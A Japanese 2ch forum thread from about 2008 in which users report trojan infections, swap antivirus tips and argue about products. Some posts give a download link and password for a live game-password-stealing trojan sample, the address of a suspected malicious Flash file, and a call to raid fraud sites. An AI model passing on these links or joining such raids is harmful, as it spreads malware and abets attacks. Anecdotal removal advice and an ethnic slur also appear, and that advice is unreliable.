☆☆トロイの木馬☆☆5台目

トロイの木馬の現状とそれを取り巻く状況について語るスレです
ネット犯罪の被害者になってしまった方は、まず警察に相談しましょう


【過去スレ】
☆☆トロイの木馬☆☆4台目
http://pc11.2ch.net/test/read.cgi/sec/1171000137/
☆☆トロイの木馬☆☆3台目
http://pc10.2ch.net/test/read.cgi/sec/1132660933/
☆☆トロイの木馬☆☆2台目
http://pc8.2ch.net/test/read.cgi/sec/1087290865/
☆☆トロイの木馬☆☆
http://pc5.2ch.net/test/read.cgi/sec/1052242064/

過去ログ　http://troy2ch.s262.xrea.com/

スレが途絶えていたので立ててみました

直近の過去ログのテンプレを確認できませんでしたので、
以前に常駐されていた方でテンプレをお持ちの方は
情報の追加ご協力よろしくお願いいたします

○基本
T用語辞典 e-Words ： トロイの木馬 【Trojan Horse】
http://e-words.jp/w/E38388E383ADE382A4E381AEE69CA8E9A6AC.html
スタートアップに関して日本語で詳しく 解説されているページ。
ネットワーク攻撃関連用語集も必見。
http://www.geocities.jp/bruce_teller/security/leakytrojan.htm

○アンチトロイ他セキュリティソフトの情報
Anti-trojan Software Reviews(英語)
http://www.anti-trojan-software-reviews.com/index.htm
wilders.org security advisors(英語)
http://www.wilders.org/index.htm
Rokop Security Foren (独語)
http://www.rokop-security.de/main/index.php
各Firewallのトロイ抑止能力テスト表 (英語)
http://www.firewallleaktester.com/tests.htm

○アンチトロイソフト
a2（無料版あり。ａイって文字化けするのは仕様w）
ttp://www.a-2.org/en/

ewido →AVG Anti-Spyware へ（無料版あり。但し常駐保護機能は有料版じゃないと使えない。9x系不可）
ttp://www.ewido.net/en/?section=products

Tauscan（常駐保護する機能あり）
ttp://www.agnitum.com/products/tauscan/

TDS-3 （無料版あり）
ttp://tds.diamondcs.com.au/

Swat It(フリーソフト)
ttp://swatit.org/index.html

PestPatrol
ttp://www.pestpatrol.jp/

Trojans First Aid Kit 5.01
ttp://www.wilders.org/downloads.htm

TrojanCheck v5.0.4.1 Final
ttp://web.archive.org/web/20030618201938/http://wilders.org/HTMLobj-925/install_trojancheck5041.exe
英語化パッチ
ttp://web.archive.org/web/*/http://www.wilders.org/HTMLobj-833/english.lng
readme.txt
ttp://web.archive.org/web/*/http://www.wilders.org/HTMLobj-834/readme.txt

○システム・モニタリング・ツール
SSM(System Safety Monitor)
ttp://maxcomputing.narod.ru/ssm.html?lang=en
Registry Prot スタートアップを監視するシンプルなソフト
ttp://www.diamondcs.com.au/index.php?page=regprot

○オンライン・チェック
Free online Trojan Scanner
ttp://www.trojanscan.com/
a2 オンライン・チェック
ttp://onlinecheck.emsisoft.com/en/
Firewall Leak Tester
（テストトロイを持ち帰って自分の環境の対トロイ抑止力のレベルを計るのにも利用できる）
ttp://www.firewallleaktester.com/

agent.tkkは本当にトロイですか？

因みに上の物はTempフォルダのSvchost.exeで検出しました

／￣￣￣￣￣ ミ
　 /　　 ,――――-ミ
　/　　／　 ／　　 ＼ |
　|　 /　　　,（･）　（･） |
　 (6　　　　　　 つ　　|
　 |　　　　　　＿＿_　 |　　 ／￣￣￣￣￣￣
　 | 　　　　 /＿＿/ ／　 ＜　しゃぶれよ！
／|　　　　　　　　 ／＼　　 ＼＿＿＿＿＿＿
　　　　_　-‐ '"　　　　　　　　　　　 ー--､　　　
　　　／　　　　　　　　　　　 ,.:‐v‐:.､　　　　　＼
　 ／　　　; :　　　　　　　　/　　ﾞ´　ﾞi　　　　　 　.＼
／　　　　　　　　　　　 　 （ 　 i lヽ　l　　　　　　　　　i
ヽ＿　　　　　　　　　　 　　ﾌ　ハ　ﾞ.ﾉ`　　 　　　　　　　|
　　 ＼　　　!.　　　　　 　./ "　　ﾞ'' i.　 　　　　　　l_!／ ＼
　　　　.>､／ヽ.　　　　 　i ,ｨ　　　　|　　　　　　　　|￣￣￣￣￣￣￣￣￣￣￣￣l
　　　 /　　　 l:　　　　　 ,!　;　　.;　 !　　　　　　　　|＿＿＿＿＿＿＿＿＿＿＿＿_|
　　／　　　 /,　　　　　 |　;　　　!. i!　　　　　　　　|l　　　　　　　　　　　　　　　　　 |
　　＼_　　./　　　　　　 |　;　　　; i!　　　　　　(　 ﾉ |＿＿＿＿＿＿＿＿＿＿＿__|
　　　　ﾞ`ヽ､.　　　　　　 ! !l　　 l､ !　　　　　　　　ﾞi､_|￣￣￣￣ 　　　　　　　 　　￣|
　　　　　　　ﾞ ー--､　　|　!　　 ; .|　　　　　　　　　　ヽl＿＿_＿_＿＿＿_＿＿＿__.|
＼　　　　　　　　　　ﾞー| !l　　　;. !￣￣ﾞー"￣ﾞー―‐"､
　 ＼　　　　　　　　　ヽ,! ,:　　 :.. |,,;;　 ,:　　　　　　　　　＼
_／　l　. ,.　 ''　　 ＼　　＼　　　,; ;ﾞ､ﾐﾞ　　　　　　　　　　　＼
　　　l .:､　　　､　　　＼　　＼　,;: i;ﾐﾞ;ﾞ　　　　　　　　　　　　　＼
　　　L　　､　　＼　　　＼　　＼./

>>6-7
http://www.kaspersky.com/viruswatchlite?search_virus=agent.tkk

USB知人に貸したら移されたようで
マイコンピュータ→各ドライブを開くとノートン先生の警告画面が出ます。
Trojan.Packed.NsAntiだそうで。

ウイルススキャンさせても反応はなく、
こりゃどうすればいいんでしょうか。

窓から放り投げる。

TROJ_AGENT.AJVNについて教えてください

VBの検索でTROJ_LINEAGE.AWXが引っかかって
感染状況みたら昨日から急激に増えてた。
これにかかった人いる？

在日韓国人乙

Trojan-Downloader.Win32.Agent.vyy
についてわかる人いますか？

TROJ_AGENT.AKGN がVBに引っかかる

>>16
俺も全く一緒

「手動削除が必要です。詳しくは云々」って出てくるのに、
トレンドマイクロでウイルスＤＢ見ても手動削除の事なんか出てこない

定期的にランダムな名前でexe作られるみたいで、それをＶＢ２００８が隔離したりしてるだけ
感染元はどっかに居る
気持ち悪い

>>16>>17
俺もだ、どうすりゃいいんだよこれorz

ttp://gigazine.jp/img/2008/07/16/beijing_stormworm/olympics3.jpg
俺は先週↑をうっかりもらってから調子悪くなったんだが

おお　似たような奴がいたんだな
ググってもでてこねぇウイルス名だったし困ったな

とりあえずtemp消してみるか

つーか　yourfilehost見たろ？
あっこから入ってるっぽいぞ

ウイルスバスター2008で検索時に毎回トロイの木馬が出てスパイウェアを削除してるんだけど
何回も何回も再生しやがる
なんてこったい

おいおい…俺と全く一緒の症状の人がいた！
>>20
どういけた？
>>21
多分そこだなぁ
前に見てたらバスターさんが警告？出したからね…

>>21
さっき見てたらavastがトロイをブロックしましたって警告出したよ
↓
tp://209.47.164.209/ff.swf　これ話題のff11オンラインゲーのパス抜きかな？

>>23
vbは何にもしてくれなかったから
カスペルスキーで駆除してもらったよ

ttp://www.just-kaspersky.jp/security/onlscan.html


バスターやくだたねーなぁ

TROJ_AGENT.AKGN
これに引っかかったらどうすりゃいいんだ・・・

>>25
同じく。
ノートンは警告出すばかりで何もしてくれず
カスペルスキーに変えたらすんなり削除。

しかしカスペルスキーはウイルス発見時の警告音が悲鳴みたいで凄いな。

>>25
あり！今スキャン中だけど、VBで発見してくれなかったｳｲﾙｽも見つけてくれてるｗｗｗｗ
期限も近いし乗り換えるか…

正直VBとﾉｰﾄﾝとｶｽﾍﾟならどれがいいんだろう…
まぁ今回の件もあるしｶｽﾍﾟなんだろうか

最近のカスペも糞だぞ。
AntiVirがお勧め。

俺もTROJ_AGENT.AKGNにやられてた。
VBでは隔離できませんって出たからカスペルスキーのオンラインスキャンで場所を特定。
system32の中にあった当該ファイルを手動削除。
すごい疲れたよ……

俺もTROJ_AGENT.AKGNやられた
yourfilehostっぽいね…オナニーライフオワタかもしれんね

手動削除ってゴミ箱にいれて空にするだけでいいのかな
とりあえず再スキャンで引っかからなかったけど

TROJ_AGENT.AKGNでググってたら、たどり着いた。
警告出すばっかりで検出も駆除もしてくれないんでどうしようかと思ってたわ。

TROJ_AGENT.AKGNとかいうトロイが一日に何度も見つかるんだけどやばいの？
トレンドマイクロのページ
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TROJ_AGENT.AKGN

troj_agent.akgn これここ３､４日で出回ってるの？ ＳのROMｻｲﾄから貰ったかも…

TROJ_CABAT.AB
てのにかかってしまったんですけどどうすれば･･･

とりあえずTROJ_AGENT.AKGNに感染したら
C:\WINDOWS\system32\7jd7lYhy.exe
を削除しとけってか

7jd7lYhy.exe.a_aってのも見つかったけどこれも削除しとくの？

ランダム名で自動生成してそうだから、怪しいファイル名が一定とは限らないぞ。

>>38
そうかすまん、しかし削除してもまたウィルス警告がきたorz
カスペルスキャンで午前丸つぶれだったのに・・・

TROJ_AGENT.AKGNがきちまった・・・
yourfilehostかよ・・・
バスター役に立たないからとりあえずカスペルスキーやってみるわ

ＡＶＧ最強
何の反応もないってことは感染してないんだなうん

　　　　　　　ヾヾｷ≧}}州kh､}从从))}ﾉﾉ}
　　　　　　　≧}}}ﾄﾄﾄ､}i州州州ﾊ///ｿｿ}　ﾉ
　　　　 　 ﾌ≧､}}}ii州川州州ﾊｿｿｿ彡ｿ≠=-
　　　　　 彡彡ﾂ"´""ﾞ"ﾞ;.;;ilﾊ}}ｿハヾ州三下
　　　　　 彡彡　　　　　　　　　　　　 ﾞミミト
　　　　　 彡i}　　　　　　　　　　　 　 　 ミミ
　　　　　 彡ｿ　 　 ‐-　 　 　 　_　 　 　 ﾐﾐ
　　　　　 hli' 　,z==z;,._　 ｀;´　､_＿_,....　ﾐﾐ
　　 　 　 | }!　　　 ＿　 ､　 ,　 ´"""ﾞ　　ﾘ'　　　>>41　おい！
　　　　　 U　 　 '´ ゆ >　}　: ｨ''ゆ｀>　　|
　　　 /:.:.::l　　　 ｀ー ´　;　 .　｀ - ' 　　 !:.ﾍ
.　　 /:.::.:..::l　　　　　 　,:　　 .　　　　　 ,':..:..:ﾊ
　　/::.:.: .:..∧　　　　,. ( ､ _ ,. ) ､.　 　 /:.:. :..:.:}
..／:.:. ::.:.:.ヽ∧　　　　 　 : :　　 　 　 /::.:.::.:.:..:!
:.: ::.:.: ::..:ヽ:.:.:.､ヽ　　｀ｰ ‐ - ‐-'　 ／:.: :::..i.:.:.{
:.:. :::.: ::.:.:.: ＼:..:.､＼ 　 ｀⌒´　 ,. ´|:.::..::.: :l::.:ﾘ
:.::.:::.:.:.: :.:.:.:.:::.＼:.:.､ ` ‐---‐ '　　 !:.:. ::.:::}::/

TROJ_CABAT.AB
っていうウィルスにかかったんですけど・・・対処法を教えてください
かかったファイルはすべて削除してしまったんですが・・・

TROJ_AGENT.AKGNはやっかいだな
怪しいexe消してもランダム名でまた復活してくる

TROJ_AGENT.AKGNだけど
俺のは　L107MEBA.EXE　だったよ。
>>37みたいなファイルもあって削除した。

ググったらMALWAREだって。

Win32.TROJ.AGENT.pm.25856ってウイルス検出したんだがググってもまったく情報ないんだが
誰か分かりませんか？
ウィルスソフトで検知してなんか削除できずに隔離になってしまったんですが

話題のTROJ_AGENT.AKGNの警告が出たのでカスペルキー使ってみました。
って、今またVBの警告でた・・・
【結果】
･system32に[4v36t0XK.exe]と[4v36t0XK.exe.a_a]
･VBの隔離フォルダ内の[E.tmp(aNKBl8Va.exe)]と今出てきた[3F8D.temp(1W8261Ob.exe)]
(2時間おきに警告でる？)

以上報告まで。

こりゃVBが対応しない限り個人じゃ駆除できないな

TROJ_AGENT.AKGN
カスペルスキーで出てきたexe消して、セーフモードでtempフォルダの中消したら
VBの警告はでなくなったけど、これ消えてんだろか･･心配(´・ω・)

おぉー、トロイ祭りやってるー

怖いから携帯からスマン
えろつべ見てたら話題のに感染したらしい…
とりあえずバックアップとってリカバリしたorz
今の所VBの反応なし…なんだが大丈夫だよな？
情報の流出とかないよな…

情報の流出が怖いとか会社の人間かよ

カスペのオンラインスキャンじゃなくてお試し版使ったら消せたぞ？
VBはアンインストールしなくちゃだめだが

手動で消せよ。
お試し版のためにVB消すとかw

17日にTROJ_AGENT.AKGNに感染して17,18,19と
バスターがうるさかったんだが今日になって突然静かになった。
もしかして消えたのかな・・・？
勝手に消えるウィルスってあるのか・・・

>>54
俺のは残り1ヶ月切ってたからな
まぁ手動で消せても不安な奴いたみたいだから言っただけだよ
またカスペ消してVBインストールすればいいだけだし

てか、ここで騒いでるのVB使いばっかじゃないか？
VBなんてさっさと捨てるが吉
VBに固執するなんて「ばっかじゃなかろーか ルンバ♪」

>>55
俺もだ、嵐の前の静けさみたいで怖いわ

警告でなくなったのは俺だけか？

感染してしまった・・・orz
TrojanDropper.VB.NAIというものらしいが色んなウィルス情報見たけど載ってねー・・・。
感染した瞬間に2つは削除されたがまだ5つ残ってる。
とりあえず検査してるがもうね・・・

TROJ_CABAT.AB に先日かかって、ＶＢで削除できずに隔離したってメッセージ出てたんで、その隔離先を探したが、そのときにはもうウィルスファイルが無かった。
改めてスキャンしたけどやっぱりウィルスファイルないけど、勝手にウィルス消えたりするの？

spy botのスキャン中に

警告
include ファイルに問題があります
\Program Files\Spybot - Search _ Destroy\Includes\Trojans.sbi
\Program Files\Spybot - Search _ Destroy\Includes\TrojansC.sbi
詳細は 'Include errors.log'を確認してください。

って出るんですが、どうしたらいいですか？

TROJ_AGENT.AKGNは収束したのか？

Trojan.genericに感染しちゃった

>>63
ここ数日何も起きないな

例の動画サイトから多く出回ってた感じしたから、駆除したんじゃないか？よくわからんがｗｗｗ

Trojan-GameThief.Win32.OnLineGames.sded

というマルウェアが system32ディレクトリに置いてあったんですが
欲しい人います？どこから来たんだろうか・・・ちょっと怖いなあ
感染していたのはこれだけなんですが。バイナリエディタで中を見てみたらLineageって・・・・
OnLineGameはやってないです。Baniasのnoteですから。

ttp://uproda11.2ch-library.com/src/11105250_EBVI/k11105250.rar

DLキー：12345
cidbwsdrv.rarのcidbwsdrv.dllがそれです。ご鑑定のほどをよろしくおねがいします。
属性もそのままにしてありますのでお気をつけください。（RHS）

>>67俺も同じのが検出された
ﾄﾛｲなんて初めてだからどうしていいか分からん・・・助けてくれ

>>62について誰か教えてください・・・
マルチしてもいいですか？

>>67-68
明らかにリネージュ2の中華謹製パス抜きトロイだよ。
ttp://www.virustotal.com/analisis/c8370dc219d13c5e366bfd072a200c83
どこで踏んだんだか。

>>69
Spybotスレで聞いたほうがいいんじゃね?

>>70
わかりました
ありがとうございます

>>67
俺もこの前OnLineGameのトロイ発見された
たぶんネットカフェで使ったUSBメモリが感染源だと思う
OnLineGameはやらないからパス抜かれないしAVGで隔離しただけで放置してるが問題あるのかな

俺も、VBでトロイがヒットするんだが。
リカバリした方がいいのかな？

>>70
レスありがとうございます。IEを通じて実行されてしまったようです。
HijackThisで確認したところ、cidbwsdrv.dllはBHO(Browser Helper Object)には
登録されていませんでした。アウトバンドも全て監視するように変更しましたが今のところ
怪しい通信はありません。

7/25 ttp://www.virustotal.com/analisis/c8370dc219d13c5e366bfd072a200c83
7/25 ttp://www.virustotal.com/analisis/41920f7f7125d3de19547ddccb8aaa8f
トレンドマイクロが最新定義で対応したようですね。Lineageの垢ハック

友人のフラッシュメモリをPCに挿したらトロイが出て削除したんですが、
フラッシュメモリ内のトロイは残ってるんですか？

>>76
友人を刑事告訴したほうが良いのでは？

>>77
故意じゃないですのでｗｗｗ

共有されてた英語の音声読み上げソフトをインストールしたら
壊れてるのか悪意をもった人が何かを仕込んだのか不明なんだけど、
エラーばかりでて全然つかえない。
変だなーと思って掲示板をみたらみんな「つかえねーぞ」
「エラーばかりでる」「トロイかウィルスかもしれない」
って言ってる。英語なんでよくわからないけど。

やっちゃった…て感じですが、とりあえずこういう時は、
まずは何をするべきですか？
いまさら慌ててウィルスソフト入れても無駄だよね…？

クリーンインストール

オーバーホール（w

これが２ちゃんクオリティ

【田代アパ祭り】ワンクリ詐欺サイト突撃祭り【第二次】
http://yutori.2ch.net/test/read.cgi/news4vip/1217934438/l50

　　　　　／/ 1　　. {. . .ヽ. . ヽ. . ',. .ヽヽ
　　　　/ .:/　ﾊ: :!: :.:ﾄ､:.:. :＼:...l:.. :}: : |_⊥ 、
　　　 j　. {: .:{ :l､:l､: :.ﾄ-ヽ､_:..｀ヽ､j__イ_つノ
　　　 l 1:ﾊ.::{ゝl=くヽ:.ヽ　ﾄｨjr}Tｧ┬ァ:.:´|
　　　 |ハ :ヽlｧ{ﾄｨrj　＼i　ｰ_'っ /:.ｲ-､:｡:|　　詐欺サイトに攻撃中ですが
　　　　　ヽ｡ﾊ^rぅ'　丶　｀　　 ノ', く } }:.olﾟ o人が少なすぎて苦戦しています
　　　　。　 ｀ﾊ ｡　　{ｧ´ヽ　　 　 ,ｰ o':.へl　みなさまの中に凸してもいいという人は
　　　　　 ﾟ　´ﾉi＼　　ー'　　　ィ:;:.ｨ/|/ﾟ 。　いらっしゃいませんか？？
　　 。 o　 ｡　ﾟﾊﾍ;:＞ｰ--＜_rv〈､_
　　　　　　　　 /￣ヽ ＼/ll　 }l}｀'^'ﾄ､
　　　 　 　 　 /　　　::Y77l　 j l　 　 !_｀７
　　　　　　　 l,　---::､〉 jl　　l　　　ハゝ-i
　　　　　　　 ヽ　　　　Vi　 　 }　　,' ﾉ, ｰ_ヽ
　　　　　 　 　 }　 , -‐ｧl　　ノ　　/　ﾚ´,.- j
　　　　　　　　j イ　　 !l ／　　 /　　ﾊ -,.く!

zipをウィルススキャンしただけで感染したみたいなんだけど
こんなことってありえるの？

昨日からIEで広告が出てくるようになる
⇒ウイルスセキュリティzeroで検索
⇒何も出ず
⇒Hijackthisのログも問題なし
⇒調べるとトロイである可能性が出てきた
(System32とtempの中にランダム英数字のexeとa_aファイルが作成されて動いていた為)
⇒Trojan Vundoだと目星をつける
⇒シマンテック製の無料駆除ツール、FixVundoで駆除
⇒数時間後また別のexe、a_aが発生
⇒FixVundoで駆除
⇒また別のファイルの発生　以後ループ
⇒完全に消せない
⇒このスレを発見
⇒カスペルを入れる
⇒Trojan-Downloader.Win32.BHO.pe検出
⇒駆除　←今ココ

exeファイルとa_aファイル消してもまた復活しそうな気がする…
そもそもtrojanの本体がわからんし、カスペル導入しても治らなかったら・・
助けてくだしあ

>>85
まただめだったら、BitDefenderを使ってみるとか？

【cool】BitDefender Free Edition 27【free】
http://pc11.2ch.net/test/read.cgi/sec/1216279063

今時Bitはねーわ マカと並んでもうだめぽの筆頭

>>87
じゃあ、代替案でも言えよ。人のレスにケチ付けるしか能がないクズか？

AVG

>>85

今の自分とまったく同じ状態
すぐ作成される

カスペルで駆除した後、IEのバージョンを上げてWindowsliveをインスコし直し
a_aの定義レジストリ削除･･･とやってみたら、とりあえず現時点では反応が消えました。
IEのバージョンを上げたのはiexpore.exeが怪しかった為です。
Windowslibeをインスコし直したのは不自然なインストール作業部分があった為です。

数時間ネットサーフィンして、今まで不定期に出ていた広告も
system32に作られる英数字のexe、a_aも消えたので、まず安心。

liveなのかlibeなのか

rideでした

いや、なんでもない
普通に間違えたわ

初めて書き込みます。スレとずれた質問ならごめんなさい。
彼氏のPCがトロイの木馬に感染してました。
種類？は「灰色の鳩」？らしいんですが、
アダプタにSDカードを差して画像を見ていた場合（PCへの保存はしてない）盗まれることってあるんでしょうか。
1枚だけメールに送った画像があったらしく既に流出してました。
色々調べてみたんですがよくわからなくて・・・。

何のことやらさっぱりなので
http://pc11.2ch.net/test/read.cgi/sec/1216554958/
か
PC初心者
http://pc11.2ch.net/pcqa/

>>87
はぁ？
Bitと馬鹿フィーがだめぽ筆頭じゃなくてNOD27（笑）と馬鹿フィーがだめぽ筆頭だろｗｗｗ

今時NODにする奴って頭おかしくね？

>>76
USBメモリを叩き壊せ

うちのPCもやられたっぽい。
なんか壁紙が赤くて恐い奴に変わるｗ

んで、さっきからマイクロソフトやトレンドマイクロなんかの
サイトにアクセスしようとしてもブロックされる（普通のサイトは
見られる）んだが、これもウイルスにやられてるの？

今のところ、検索して見つけたフリーのソフト（a-squared free）を
入れてスキャン→削除してPCを再起動させたんだが、それでも
警告が出る。つかWindows（標準？）のセキュリティの奴うぜえ・・・

うちのはTrojanで出るのじゃなくトロイの木馬で出る
皆の奴のとは違うのだろうか･･･
カスペルお試しでやったけど何も出ず、お試しきれてVBに切り替えてみる
トロイの木馬は消えておらず１２件のスパイウェア
やってられない

昨夜からＶＢがtroj virantix ajってのを検出して隔離しますたって警告が何回もでる。

>>100
何回も出るってことは元が残ってて次々生成してんじゃ？

昨日パソコンを普通に起動しました。
すると、起動してネットに繋がった瞬間トロイに感染したとウインドウが出ました。
ネットに繋がるのとアンチウイルスソフトが稼動する間約５秒の間に感染したと思われます。
こんなことってありえるのでしょうか……

３〜４種類の、ウイルス検索ソフトを使ってみたのですが、いずれもトロイを感知せず、トロイがどうなったのいかわからない状況です。

まだ具体的な被害は受けていないのですが、どういった対処をするべきでしょうか……

>>102
> すると、起動してネットに繋がった瞬間トロイに感染したとウインドウが出ました。

感染したって出たのか？入ってこようとしたからブロックしたって出たのか？
使ってるソフト名と正確なメッセージくらい書けよ タコ

Rootkit-Agent.AEに感染してしまいました。
AVGで駆除を試してみたのですが。ファイルが起動中らしく隔離、削除ができません
セーフーモードでの手動駆除も無理でした。対処のほどをお願いします。。。

カペルスキー入れたら出なくなった。

ファイルが起動中なら、ハイジャックディスをインストールして
起動中の怪しいものが見つかるんじゃないか

てす

Downloader.Win32.BHO.peが何回駆除しても復活する

復活するさいにa_aとexeファイルが作られて勝手に起動される

とりあえず作成されてもすぐに削除していて
今のとこひどい被害は受けてなさそうだが

どうにかしたいんだけど誰かわかりませんか？

一応>>91のみてIEのバージョンアップはしておきましたが変わらなかったです

downloader.Generic_c.ACXってのにかかった。
害はないっぽいが。

>>109
僕もです。swfのあるページにアクセスする度にトロイを検出する。
対処方法を教えて下さい。お願いします。

>>109-110
AVGですか？
いや、自分もなんですけど…(こちらはAVG7.5)
AVG固有の問題でしょうか。こんなの見つけたけど
http://www.disboards.com/showthread.php?t=1937018

AVG8.0がGeneric_c.ACXをやたらと検知する
昨日からなんですけど、みんなは？

同じく昨日から検出されてる
因みにAVG8.0
どうやら誤検出みたいだけど
AVG側が対応するまで我慢か

俺も同じくです

俺もです
これは安心していいのかな？

えろつべで北

えろつべか、なるほど。確かに見た

みんなエロいね
隔離室に16個あるぜ

変なの踏んだ後だからちと怖い＠＠；

ＡＶＧのせいならいいけど何気に最近問題ばっかりだねＡＶＧｗ

最近カボスでｍｐ３落とすと、落とした瞬間にウィルスバスターが反応してトロイ系を示すんだけど原因わかりますか？

個別のソフトのことなんか知ったこっちゃないので
ダウソ板かバスタースレでどうぞ

AVGが、Startpage.CZAというトロイの木馬を発見し
隔離したと言っているけど
改変されたであろうレジストリはそのまま？

普段使っているノート/98SE/Firefox/KerioFirewallは何も異常ないのに、
たまたまデスクトップ/Server2008/IE/標準のファイヤウォール+ソフトチェック機能有効/Comodoでガッチリ固めてる方で
遊んだらoky.exeとかバックドア仕込まれた。orz
仕込みがソフトに混入していたのかweb経由なのか原因が不明。
ソフトではなくてweb経由か、たまたまポート開放した隙を突かれたか。
ログにはトロイやスクリプトのブロック履歴は残ってるが、それ以外の情報が全く分からない。
ウイルス自体はカスペのデータベースでアクセス先などは分かったけど、根本原因が分からないと
何か気持悪いな。

幸いブロックが効いて何も影響なし、動作が異常に重かったのですぐ気付いたが、
その日やった事といえば、前日に他のPCとの接続テストでjunboblackdogとHTTPDを動作させたのと、
ステアカート？とかいうオンラインゲームを試しに遊んでみようと起動させてアップデートデータを
ダウンロードさせたくらいで、
あとはFirefoxで普通のページ閲覧してたくらいなんだが…。
ノートPCでも見てるページ・動作させてるソフトくらいしか使ってないのになんで？って感じだ。
気持悪いんでFirefoxも3に移行した。

駆除は一瞬だが、念の為の総いれ直し、設定の復旧に半日かかったよ…。
Firefox2の方に何か希弱性があるのか？

oky.exeの方は検索にすらかからない。
firefoxupdater.exeとかいうプログラムが居たので削除。これもBBS検索で
ウイルスじゃなくて更新プログラムです、みたいな書きこみぐらいしかなかったが、
滅茶苦茶怪しい。

怪しいプログラムやvbsで調べると出てくるのは中華系の書きこみは大量にでてくるが、アッチ系のマルウェアとかウイルスなんだろうな。
日本の情報は殆どないのと、質問に対していい加減な回答で終わってるQ&Aページだけってのが不気味。
まぁ、仕事用のPCで遊んだバチか…。

ＯＳはＸＰ　ウィルスセキュリティーゼロ使用中。　
手動検査にて　Trojan.Win32.Malware.1　検出されたようで駆除されました。
場所が　C:\ProgramFiles\The Cleaner Free で　名前が ms1000.sys　
それは誤検知かと思われますが
場所が　C:\WINDOWS\system32\drivers 名前が　MS1000.sys　も削除されました。
こちらは削除されても問題ないでしょうか？

>>124
使ってるソフトが問題なだけ

>>125
ＡＶソフトでつか？
先程　カスぺオンラインで検出なしでしたので今はおｋかと・・・
削除されたものは　そのままで問題なし？
ｽﾏｿ　kwskたのんます・・・

>>112
俺もだ
昨日久々にAutomate unDRMを使おうとしたらトロイを感知して隔離したんだけど
再インストールや再ダウンロードしようとしても感知した

更に外付けＨＤにあるバックアップをコピーしようとしても感知したから
Automate unDRMの何かに反応してるっぽい

>>126
ウィルスZEROが問題なだけ
動作に影響でても隔離されただけならもどせばいいんじゃない？
問答無用に消されたなら南無だけど

>>128
ｻﾝｸｽ！
でも　問答無用に削除されますた・・・

http://hobby11.2ch.net/test/read.cgi/keitai/1214144666/657

124でつ
以前ＤＬしたフリーソフトを検知して削除しただけなのでＮＰ
ということを自力で納得できますた。
やっぱ使えんな・・・

>>131
隔離せずいきなり削除か
システムを誤検知してでりられたら危ないな

>>132
返レスども。
そうですねぇ・・・
たまたま　どーでもいいフリーソフト関連だったからよかった感ありですがｗ
ウィルスの場合には　検出たんびにメッセ出て　対応支持することが不可能な設定のようですし・・・

Troj/PWS-ATI 引っかかってきてる人います？こっちは大量に入ってきてしまって火消しにヒーコラ言ってる状態。
ポーランドからのメール持ってる人いたら詳細なヘッダをコピペしてくれないかな。

ギャア、名前消し忘れてるC

Be板にｶｴﾚ

ＰＣ全てにスキャンかけたが脅威は見つかりませんでした

が、ＵＳＢメモリ調べたらトロイの木馬を発見
それ以外にも三個ウイルス発見
一個は削除できたけど木馬と残りは削除不可能orz
なんか最近勝手に消えたりするなーとは思っていたが…

自分はカスペルスキーインターネットセキュリティを使っているのですが
先ほどパソコンを立ち上げたら
『ファイル c:\windows\forbidden siren.scr: トロイの木馬 「Trojan-PSW.Win32.Agent.kvu」を検知しました！』
『ファイル c:\windows\forbid~1.scr: トロイの木馬 「Trojan-PSW.Win32.Agent.kvu」を検知しました！』
と出たんですがこのファイルは消してしまっても大丈夫なんでしょうか？

ウイルス飼っててもしゃーないだろ、消せよ

最近vundo多くね

くねくね言うなよバカゆとり

カスペルスキーオンラインスキャンの準備のＤＬ長すぎワロ・・・タ・・・・ｚｚｚｚ

ノートンがトロイ防いでくれず、駆除方法を色々調べて
このスレにたどり着いてカスペルで駆除したが完全に消えたか不安・・・。
今プロテクション？とかいうので保護かけてるけど・・・
上のレス見てると数時間後にまた発生(カスペル以外で駆除した時みたいだが)したらしくて
めちゃくちゃ不安だ。
ノートンってここまで糞だったのか・・・セキリュティソフトはあまり詳しくなかったが
有名どころだからと信じてた俺が愚かだった
試用期間終わったらカスペルに切り替えよう・・・。

>>143
気づくのが遅かった…が、気づいただけマシだ

c:\WINDOWS\system32\のWin32:TrafficSolってファイルがトロイに感染してるみたいなんですが、どうやって処理したらいいんですか？
システムファイル何で消してはいけないんですよね？
PCに詳しくないので・・・すみません

すみません、今見たらWin32:TrafficSolって言うのがアドウェアで
SPRT_ADS.DLLってシステムファイルに感染してるんでした

昨日某うｐろだ開いたら広告だらけで閉じる→もう一回開く
をしたときにff.swfを検出したって出てきた。

ドメインを調べたが中国だった。
ソースチェッカーオンラインで昨日見たときは存在してたが
今日見たらなくなってた。なんだろうこれ。

・広告は毎回同じ物が読み込まれるわけじゃない
・ウイルス配布サイトは解析を避けるため2度目はシカトすることがある

すみません、質問させていただください。TROJ_BOHMINI.Rというトロイの木馬が検出されたのですが、調べてみても対策がわかりません。
どなたかアドバイスをよろしくお願いします。

バスタースレで聞いてくれ

>>148
ff.swfってファイルがあったサーバー自体がなくなってるんだが

ソースネクスト商品は地雷　ウイルスセキュリティZEROよりフリーソフトの方が安全
これテストに出るからな

>>143
今頃そんなこと言われてもなぁ。。。　散々がいしゅつだし。。。

help meeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee

久々に検索したら、復元フォルダ（C:\System Volume Information\_restore）
Win32:Downloader-BPZ [Trj]が発見されてので削除した
ぐぐっても同名はおじいちゃんのメモしか見つからないのだけれど

ttp://www.shareedge.com/spywareguide/product_show.php?id=3237
目立った変化は無かったのですが
これと同タイプの動きをしていたと考えて良いのでしょうか？

ＡＶＧがトロイと判断した
ＪＷＯＲＤを消す、これは分かるからいいとして
ぶらばんまで、ここの会社サイトのっとられた事あったから消した
アンインストールが手動になるだけだからいいか
誤検知か感染か、わくわくと恐怖。

すまんが、
トヨタのhpに行くと、トロイの木馬を検出しましたと出るんだが、、、

俺だけか・・・・・・

156だが、アップデートして戻してスキャンかけてみたら
ウィルスじゃなくなってる
誤検知だったか。
>>157
ＡＶＧでは検知されてない
ウィルス対策ソフトをアップデートしてみたらどうだろう

>158
すべて最新になってるんだよ、、

KIS7（カスペ）なんだけど
Trojan.JS.Aqent.dbってのを検出する。

誤検知なのかな?????

他スレ見たら、出た人がいるね。
誤検知みたいだから、しばらく様子見ます。

たびたびすいません
出なくなりました。

KIS7はいじって無いので
toyota側で修正したと思われます。

>>159
多分そう。
一日たったら直るかも

トヨタがまぎらわしいプログラムで作ったって事か

AVGがぶらばんだけでなく他のゲームのexeからもトロイ検出した。
これは158を見るかぎり誤検知と見ていいのかな

アップデートされてなかったわ。
した後は何も検知されなかった。
誤検知みたいで良かったわ

時々　internet explorer searchers とかいうのがspybotで引っかかるんだけど、
トロイの仕業？

